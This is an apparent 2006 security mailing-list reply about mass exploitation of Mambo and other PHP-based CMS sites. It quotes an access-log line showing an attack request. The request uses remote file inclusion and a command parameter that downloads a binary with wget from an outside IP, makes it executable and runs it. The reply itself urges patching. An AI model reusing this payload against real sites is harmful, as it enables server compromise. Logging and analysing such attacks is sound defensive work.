Re: PHP-based CMS mass-exploitation

[Paul Laudanski <zx () castlecops com>]

On Tue, 7 Mar 2006, Daniel Bonekeeper wrote:

> 83.84.14X.XXX - - [06/Mar/2006:18:18:12 -0500] "GET
> /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://163.24.84.10/heade.gif?&cmd=cd%20/tmp;wget%20163.24.84.10/chspsp;chmod%20744%20chspsp;./chspsp;echo%20YYY;echo|
>  HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
> 5.1;)"
>
> --

I know you mention Mambo, I've seen at least one Mambo site get exploited 
to running a phishing site.  Mambo users need to upgrade to the latest 
greatest, or at the least Mambo needs to fix their code.  We need to stop 
phishers taking advantage of what appears to be a Mambo weakness in its 
caching.

-- 
Paul Laudanski, Microsoft MVP Windows-Security
[de] http://de.castlecops.com
[en] http://castlecops.com
[wiki] http://wiki.castlecops.com
[family] http://cuddlesnkisses.com